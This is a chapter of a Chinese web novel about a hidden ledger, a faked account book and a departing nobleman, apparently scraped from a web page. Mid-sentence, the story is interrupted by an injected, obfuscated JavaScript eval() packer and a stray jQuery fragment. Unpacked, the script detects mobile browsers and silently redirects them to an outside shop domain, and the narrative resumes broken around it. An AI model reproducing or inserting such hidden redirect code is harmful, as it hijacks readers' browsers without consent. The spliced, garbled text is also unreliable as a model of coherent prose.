王云舒有气无力地对着夏花招招手,夏花俯下身听她说了句什么,随后打开了桌子上紫檀妆奁匣子的最后一层。
夏花将最上层的几只翡翠簪子和两朵褪色的旧绒花一一取出,返回自头顶取下一只银簪。探进匣子底部,将最下层的暗格撬开。
一本薄薄的账册静静躺在那里。
就放在这!灯下黑啊。三天腹诽道。
三天将账册接过,耐不住好奇大致翻了几页,上面是自大周三十九年开始沈逐与上京官员之间的交易往来。三天在心里粗略计算了一下,加起来的数目恐怕能把半个青岚买下来。
这老狐狸是真精明啊。
不过,三天的手指抚过的账本的边缘时顿了一下,线装的缝隙上很是粗糙,边缘也多有磨损,像是有人将东西拆开又装好了一样。但是太傅案发生在大周四十一年,前后相差不过几年,时间并不长,如果真的是构陷,总不至于花上个三五年的时间铺排。
东西到手,交易默认达成。三天把账册往怀里一揣,看也没看王云舒一眼,迈着步子就离开了。
走到门口时,步子慢了一拍,似乎想要嘱咐点什么,末了,鞋尖在门槛上蹭了一下,离开了。
已经离开的三天并未察觉,原本如丧考妣的王云舒在她走后渐渐收起凄苦,侧目望向床深处,露出一个诡异的笑。
她伸出手,手指在内壁游移很快就摸到了那熟悉隔板。隔板上雕刻着云纹,在昏暗的帷帐里面,像高天上悬着的一片乌云。
那乌云一点点放大,高高悬于黑夜,四周一颗星都没有,屋子里没有掌灯,早已转醒的王云舒睁着眼盯着帷帐上绣着的金线绣的大朵牡丹的轮廓。
她本该难过抑或是愤怒,却一点感觉都没有。
她盯着不远处飘荡的窗帘,心中一片空洞,这张骨木镶嵌拔步床是她出嫁前打的,上百工匠足足制作了三个月。她知道,那是父亲故意铺张,以此来压住上京的流言。
父亲或许做到了,但她没有,她只是逃离了上京。
不知怎的,她忽然觉得自己就如同那帷帐上绣着的牡丹,白日里在人群簇拥下熠熠生辉,实则是个被人观看的物件,甚至连物件都不如。至少那牡丹不必在经年的风霜催打老去后,瞪着眼睛等天亮。
“沈夫人可是醒了。”一个低沉的女声传入帷帐,王云舒眼珠一动。
这人是来想将我一齐灭口吗?她解脱地想。
“夫人醒了就请出来一叙。”
王云舒伸手揭开帷帐,月光下,那人的样貌让她吃了一惊。
“怎么会是你?”
“上次不告而别,我自觉愧对夫人,今日前来请罪。”春英丝毫没有被识破身份后的尴尬,她自顾自地挂上帷帐。为了让王云舒靠得舒服些,还在身后为她垫了两条枕头,之后才撩起衣摆坐在王云舒的床上同她面对面,仿佛她依旧是那个伺候她起居的丫鬟。
“你想要什么?”王云舒问。
“账册,这东西已经害了多条人命,夫人拿着也是不详,不如交给我,也不枉我伺候夫人一场。”春英轻笑说。
“哼”王云舒冷笑一声,“如果我给了你,下一个死的会不会是我?”
“当然不会,我甚至给夫人准备了回礼。”说着,春英拿出一个小小的药瓶放进王云舒手中。
“这是什么?”
“夫人可知,二小姐并非惊吓所致的痴病,而是当日被拐后,被拐子下了药,这个就是解药。”春英说着,握住王云舒的手,她的手掌温热而粗粝,像是干过许多重活。
“事到如今,夫人只要能保下小姐,届时这沈家交到二小姐手中,下半辈子衣食无忧荣华富贵。夫人何乐而不为。”
“你跟着我七年,我竟不知你有这般本事。”王云舒冷声说。
“我自然是没有,但,三天姑娘有,以她的个性,一定会让二小姐登名造册入沈家,只要过了官府那一关,失去了沈逐的沈家还能拦得住嘛。”春英说。
王云舒没话说,风自窗户吹进来,摇动着窗帘。片刻后,她忽然问:“如果这样,我为何不把东西交给三天姑娘呢。”
春英早就料到了她会这么说,于是自怀中拿出准备好的账册:“因为,这解药只有我有。夫人也别妄想让阿婴来解,她做不到。”似乎是怕她还有顾虑,春英紧接着说:“到时候,您只要将这假账交给她,她必然会为二小姐安排好一切。”
此刻,风停了,梳妆台上的铜镜映着两人模糊的身影,只见一人接过一本账册,另一人则拿着钥匙离开了。
春英来到偏房,打开火折子。她在王云舒身边呆了七年,自然对这里了如指掌,只是她没想到,这暗格之下居然还有秘密。
某种意义上,王云舒和沈逐也算得上是一种人。春英嘲弄地想。
在地毯下的暗格中将隐藏的玉器取出,然后揭开暗格中铺着的绸布。春英起身,将后墙角落里一个小小的花瓶转了三下。
只听一道机关转动的声音,原本平坦的隔板上露出一个小小的金锁。她打开金锁,账本果然在内。她一目十行地扫过,果真是大周四十一年三皇子与太傅以及江南富商之间的钱财往来。
只是,剩下的账目居然没有写日子。她眉头微蹙,可来不及细想,只要确定东西是真的就可以了。
春英将账本贴身收好,自窗户翻出,猫着腰来到一处矮墙,翻过矮墙后消失在夜风里。
青岚城外,官道上。
烈日当头,道路两旁的土地已经干涸皲裂,连路旁杨柳都被晒得垂头丧气。千山将手中扯得以哦i按叶子不剩地光杆扔在地上,用手背抹了一把头上的汗问:“主子,咱们还走吗?”
“再等等。”赵载渊站在树影里,眼睛直直盯着城门口,似乎在等什么人的到来。
千山无奈站起身子来,瞬间感觉天旋地转。扶着腰缓了好一会儿,见赵载渊还是没有动作,只得有一下没一下地继续扯着柳条,嘴里嘟囔着什么。
忽然,千山余光瞥见什么,眼前一亮。
远处的官道上起了烟尘。
“来人了,主子来人了。”千山指着那模糊的身影惊喜地喊。
赵载渊抬眼望去。
官道上,一个人影连滚带爬地往这边赶,连帽子都歪了,跑得上气不接下气。近了才看清,是王捕头。
王捕头一路小跑到赵载渊跟前,一手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17672996|207406||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
撑着膝盖,一手扶着腰喘了好一阵,才直起身来,从袖子里摸出一块帕子擦了擦脸上的汗,堆出一脸笑。
“公、公子果然丰神俊朗,这大热天的站在树底下,跟画儿里走出来似的,下官远远瞧着都以为天人下凡不敢接近。”
千山在旁边翻了个白眼。
赵载渊没接话,目光越过王捕头,往他身后看去。官道上空荡荡的,再没有第二个人影。
王捕头顺着他的目光回头看了一眼,脸上的笑僵了僵,搓着手说:“公子莫看了,三天姑娘已经走了。”
赵载渊的视线落回王捕头脸上。
“什么时候走的?”
“今儿一早就走了,说是去东边天门府了。”王捕头说着,从怀里摸出一样东西递过来,“姑娘让下官给公子带件东西。”
赵载渊接过来,竟然是当时他的匕首。这匕首他得而复失又失而复得,曾是他的罪证,也证明了他的清白。
“三天姑娘说,”王捕头清了清嗓子,学着三天的语气,但学得不太像,“这玩意还你了,回头可别讹诈她。”
千山没忍住,噗嗤一声笑了出来。
赵载渊也忍不住勾了勾嘴角。
短刃出鞘,泛着寒光,刀身上带着细小的划痕,赵载渊也分不清哪个是自己留下的,哪个是三天留下的。
“她还说了什么?”
“没了。”王捕头摇头,又补了一句,“就这一句。”
赵载渊望向南边的官道。烈日把路面晒得发白,热气蒸腾着,远处的山影模糊成一团青灰色的雾。
他站了一会儿。
“走吧,回上京。”
千山一个激灵跳起来,抓着马的缰绳,拍拍它的头。
烈日当空,辛苦你了。千山心道。
赵载渊翻身上马,抖了抖缰绳,疾驰而去。
千山手忙脚乱地爬上马背,回头看了一眼王捕头。王捕头正恭恭敬敬地弯着腰,嘴里念叨着“公子一路顺风”。
马走出几步,赵载渊忽然勒住缰绳。
“王捕头。”
“下官在!”
“她走的时候,”赵载渊顿了一下,“什么表情?”
王捕头愣了愣,仔细回想了一下三天把匕首塞给他的样子。她把东西往自己手里一塞,说完话,然后头也不回地往东走了。
好像没有什么表情的。
但王捕头在衙门里混了这么多年,怎么会说这般无趣的事呢。
“笑着,”他斩钉截铁地说,“笑着。”、
赵载渊嘴角一勾,一甩鞭子,策马而去。
终于送走了两尊大神的王捕头心情大好,他翻身上马,忽然想起刚刚为妻子在老白家买的那四十八骨油纸伞还在包袱里,不由得取出撑开,为自己遮住烈阳。
他哼着听不懂的江南小调,晃晃悠悠地回到了城中,路上偶然瞥见一个穿青衣的夫人为自己的女儿买了三块胭脂糕。女孩扬着笑脸,迫不及待地打开油纸包,捏了一块尝了一口,还不忘将剩下的一半喂给母亲。
王捕头忽然想起,自己也多日未给女儿买糕点了,于是一勒老马的缰绳,朝着西边张家糕点铺子走去。